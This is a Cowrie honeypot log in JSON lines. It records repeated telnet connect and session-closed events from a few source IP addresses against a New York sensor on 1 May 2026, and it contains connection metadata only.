{"eventid":"cowrie.session.closed","duration":31.197338819503784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.152466Z","src_ip":"45.10.154.244","session":"b77c22cf89ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080458641052246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.157351Z","src_ip":"51.161.172.108","session":"a673e05d657b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.212947368621826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.256757Z","src_ip":"51.161.172.108","session":"81ac1a8d54b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.559914112091064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.273935Z","src_ip":"51.161.172.108","session":"088b56a13962","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":32902,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d933e0c019b","protocol":"telnet","message":"New connection: 45.10.154.244:32902 (10.17.0.5:23) [session: 9d933e0c019b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.524293Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33382,"dst_ip":"159.203.135.109","dst_port":23,"session":"49891fa00644","protocol":"telnet","message":"New connection: 51.161.172.108:33382 (159.203.135.109:23) [session: 49891fa00644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.555193Z"}
{"eventid":"cowrie.session.closed","duration":31.784884452819824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.582849Z","src_ip":"51.161.172.108","session":"cf8af8eb02ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33408,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2fb54cd424","protocol":"telnet","message":"New connection: 51.161.172.108:33408 (159.203.135.109:23) [session: 9a2fb54cd424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.763767Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33484,"dst_ip":"159.203.135.109","dst_port":23,"session":"e21028cfd8de","protocol":"telnet","message":"New connection: 51.161.172.108:33484 (159.203.135.109:23) [session: e21028cfd8de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.825825Z"}
{"eventid":"cowrie.session.closed","duration":31.92280077934265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:59.906763Z","src_ip":"45.10.154.244","session":"f73b6e0fef9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619058847427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.051852Z","src_ip":"45.10.154.244","session":"0ca297824346","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30573344230652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.126208Z","src_ip":"51.161.172.108","session":"571c8c860b7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00420331954956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.190253Z","src_ip":"45.10.154.244","session":"2b395ade9f58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.826677799224854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.203746Z","src_ip":"51.161.172.108","session":"fae880d3763e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33494,"dst_ip":"159.203.135.109","dst_port":23,"session":"921384c1adcc","protocol":"telnet","message":"New connection: 51.161.172.108:33494 (159.203.135.109:23) [session: 921384c1adcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.210671Z"}
{"eventid":"cowrie.session.closed","duration":30.51533579826355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.230362Z","src_ip":"51.161.172.108","session":"aad99a11c022","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44634771347046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.234376Z","src_ip":"51.161.172.108","session":"1eb29387ebbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607175588607788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.329320Z","src_ip":"51.161.172.108","session":"a4f8419d8a18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826233863830566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.392358Z","src_ip":"51.161.172.108","session":"b24bca8f405f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33522,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d9dcaffbceb","protocol":"telnet","message":"New connection: 51.161.172.108:33522 (159.203.135.109:23) [session: 5d9dcaffbceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.413314Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33360,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6fd71ebc32c","protocol":"telnet","message":"New connection: 51.161.172.108:33360 (159.203.135.109:23) [session: c6fd71ebc32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.492561Z"}
{"eventid":"cowrie.session.closed","duration":31.502546548843384,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.695306Z","src_ip":"51.161.172.108","session":"d2f1de158a18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33636,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae317c1a75b3","protocol":"telnet","message":"New connection: 51.161.172.108:33636 (159.203.135.109:23) [session: ae317c1a75b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.906704Z"}
{"eventid":"cowrie.session.closed","duration":31.19186806678772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.917592Z","src_ip":"51.161.172.108","session":"d2cb3d2c6c8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37938,"dst_ip":"10.17.0.5","dst_port":23,"session":"0547f903a97a","protocol":"telnet","message":"New connection: 45.10.154.244:37938 (10.17.0.5:23) [session: 0547f903a97a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.924810Z"}
{"eventid":"cowrie.session.closed","duration":31.42618155479431,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:00.943383Z","src_ip":"51.161.172.108","session":"3a17dd5ba3e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925370693206787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:01.325472Z","src_ip":"51.161.172.108","session":"8f7bc024234e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":37258,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d517b5a9962","protocol":"telnet","message":"New connection: 167.99.38.72:37258 (159.203.135.109:23) [session: 0d517b5a9962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:01.482955Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33838,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c16cb31a7a5","protocol":"telnet","message":"New connection: 51.161.172.108:33838 (159.203.135.109:23) [session: 3c16cb31a7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:01.593177Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33848,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d4719de2ef","protocol":"telnet","message":"New connection: 51.161.172.108:33848 (159.203.135.109:23) [session: d2d4719de2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:01.614081Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33582,"dst_ip":"159.203.135.109","dst_port":23,"session":"0abbd465e14c","protocol":"telnet","message":"New connection: 51.161.172.108:33582 (159.203.135.109:23) [session: 0abbd465e14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:01.653727Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33672,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c2d72dd201","protocol":"telnet","message":"New connection: 51.161.172.108:33672 (159.203.135.109:23) [session: c3c2d72dd201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:01.955634Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33708,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d33b33d85ee","protocol":"telnet","message":"New connection: 51.161.172.108:33708 (159.203.135.109:23) [session: 0d33b33d85ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.095125Z"}
{"eventid":"cowrie.session.closed","duration":31.946797847747803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.130671Z","src_ip":"51.161.172.108","session":"5cdddf3c9a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.920899629592896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.150335Z","src_ip":"167.99.38.72","session":"962f71d27754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085580110549927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.315015Z","src_ip":"51.161.172.108","session":"905aba41f82c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392296314239502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.340349Z","src_ip":"51.161.172.108","session":"b9afd6583cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31100368499756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.391920Z","src_ip":"51.161.172.108","session":"ea2d9cd632da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33892,"dst_ip":"159.203.135.109","dst_port":23,"session":"a64bcd0887f9","protocol":"telnet","message":"New connection: 51.161.172.108:33892 (159.203.135.109:23) [session: a64bcd0887f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.431228Z"}
{"eventid":"cowrie.session.closed","duration":31.394415616989136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.452494Z","src_ip":"51.161.172.108","session":"60648439ed5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.665451765060425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.570164Z","src_ip":"51.161.172.108","session":"c78d6006f94f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864121437072754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.616529Z","src_ip":"51.161.172.108","session":"7da90395b84e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0296835899353,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.790707Z","src_ip":"167.99.38.72","session":"39cbb757c6e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.511120319366455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.820538Z","src_ip":"51.161.172.108","session":"c51120b059b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33978,"dst_ip":"159.203.135.109","dst_port":23,"session":"058e2b363512","protocol":"telnet","message":"New connection: 51.161.172.108:33978 (159.203.135.109:23) [session: 058e2b363512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.842830Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":38266,"dst_ip":"159.203.135.109","dst_port":23,"session":"79f785c9e72f","protocol":"telnet","message":"New connection: 167.99.38.72:38266 (159.203.135.109:23) [session: 79f785c9e72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.885515Z"}
{"eventid":"cowrie.session.closed","duration":31.424734830856323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.919749Z","src_ip":"51.161.172.108","session":"c4c2ad542713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34028,"dst_ip":"159.203.135.109","dst_port":23,"session":"7df47e57e30d","protocol":"telnet","message":"New connection: 51.161.172.108:34028 (159.203.135.109:23) [session: 7df47e57e30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:02.989073Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7d373b0e127","protocol":"telnet","message":"New connection: 45.10.154.244:45588 (10.17.0.5:23) [session: d7d373b0e127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.094709Z"}
{"eventid":"cowrie.session.closed","duration":32.430241107940674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.306757Z","src_ip":"51.161.172.108","session":"9df6fa0bd122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":37714,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba73d436ef56","protocol":"telnet","message":"New connection: 167.99.38.72:37714 (159.203.135.109:23) [session: ba73d436ef56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.315279Z"}
{"eventid":"cowrie.session.closed","duration":31.259082317352295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.325335Z","src_ip":"51.161.172.108","session":"31a617f8e696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503019332885742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.371361Z","src_ip":"51.161.172.108","session":"7c7f5074a7df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107277870178223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.504739Z","src_ip":"51.161.172.108","session":"cc3d3cad2bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34166,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bc8ee9bcc6f","protocol":"telnet","message":"New connection: 51.161.172.108:34166 (159.203.135.109:23) [session: 1bc8ee9bcc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.650610Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34174,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e2f0d2f66e2","protocol":"telnet","message":"New connection: 51.161.172.108:34174 (159.203.135.109:23) [session: 4e2f0d2f66e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.685968Z"}
{"eventid":"cowrie.session.closed","duration":31.90771484375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.850163Z","src_ip":"51.161.172.108","session":"466da38fc1f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34008,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc89ba7c189e","protocol":"telnet","message":"New connection: 51.161.172.108:34008 (159.203.135.109:23) [session: bc89ba7c189e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.984174Z"}
{"eventid":"cowrie.session.closed","duration":31.907329082489014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:03.993229Z","src_ip":"51.161.172.108","session":"278e42f673c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.198374032974243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.002767Z","src_ip":"45.10.154.244","session":"0de91e260a70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34062,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a9a91f86a2","protocol":"telnet","message":"New connection: 51.161.172.108:34062 (159.203.135.109:23) [session: c4a9a91f86a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.163609Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34070,"dst_ip":"159.203.135.109","dst_port":23,"session":"b56d30b999ea","protocol":"telnet","message":"New connection: 51.161.172.108:34070 (159.203.135.109:23) [session: b56d30b999ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.299187Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":33774,"dst_ip":"159.203.135.109","dst_port":23,"session":"16e130ef21bf","protocol":"telnet","message":"New connection: 51.161.172.108:33774 (159.203.135.109:23) [session: 16e130ef21bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.325697Z"}
{"eventid":"cowrie.session.closed","duration":31.148799896240234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.380659Z","src_ip":"51.161.172.108","session":"8033df3a295c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.894996404647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.414878Z","src_ip":"51.161.172.108","session":"bdacdd08d3a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151782035827637,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.593706Z","src_ip":"51.161.172.108","session":"517641bcac9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34158,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fbac10d2a6d","protocol":"telnet","message":"New connection: 51.161.172.108:34158 (159.203.135.109:23) [session: 1fbac10d2a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.656718Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51614,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec0c8ce4f3b7","protocol":"telnet","message":"New connection: 45.10.154.244:51614 (10.17.0.5:23) [session: ec0c8ce4f3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.812064Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51926,"dst_ip":"10.17.0.5","dst_port":23,"session":"82b8a16a6423","protocol":"telnet","message":"New connection: 45.10.154.244:51926 (10.17.0.5:23) [session: 82b8a16a6423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.890689Z"}
{"eventid":"cowrie.session.closed","duration":31.828526735305786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.908909Z","src_ip":"51.161.172.108","session":"1581f5136b34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34290,"dst_ip":"159.203.135.109","dst_port":23,"session":"62291bf72638","protocol":"telnet","message":"New connection: 51.161.172.108:34290 (159.203.135.109:23) [session: 62291bf72638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:04.932272Z"}
{"eventid":"cowrie.session.closed","duration":30.496002674102783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.049904Z","src_ip":"45.10.154.244","session":"6762c8c6fd1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806223154067993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.060697Z","src_ip":"45.10.154.244","session":"700f1886d240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05722427368164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.074828Z","src_ip":"45.10.154.244","session":"7e330f4d061f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.485939025878906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.105344Z","src_ip":"45.10.154.244","session":"77946a41e5f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.692541360855103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.114366Z","src_ip":"51.161.172.108","session":"0b3bc3bfd557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34328,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8d4cc725332","protocol":"telnet","message":"New connection: 51.161.172.108:34328 (159.203.135.109:23) [session: c8d4cc725332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.143052Z"}
{"eventid":"cowrie.session.closed","duration":31.164055347442627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.162809Z","src_ip":"51.161.172.108","session":"2b407a752c7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.237218856811523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.180592Z","src_ip":"45.10.154.244","session":"24b2c8927810","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34396,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ce5fd71d596","protocol":"telnet","message":"New connection: 51.161.172.108:34396 (159.203.135.109:23) [session: 0ce5fd71d596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.260867Z"}
{"eventid":"cowrie.session.closed","duration":31.006897449493408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.380544Z","src_ip":"51.161.172.108","session":"c02fc6eb0281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.517320156097412,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.444477Z","src_ip":"51.161.172.108","session":"05d1048544d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51116752624512,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.455688Z","src_ip":"51.161.172.108","session":"5a95084b7f57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179710149765015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:40:05.478921Z","src_ip":"45.10.154.244","session":"0fb97e2c745c","protocol":"telnet"}
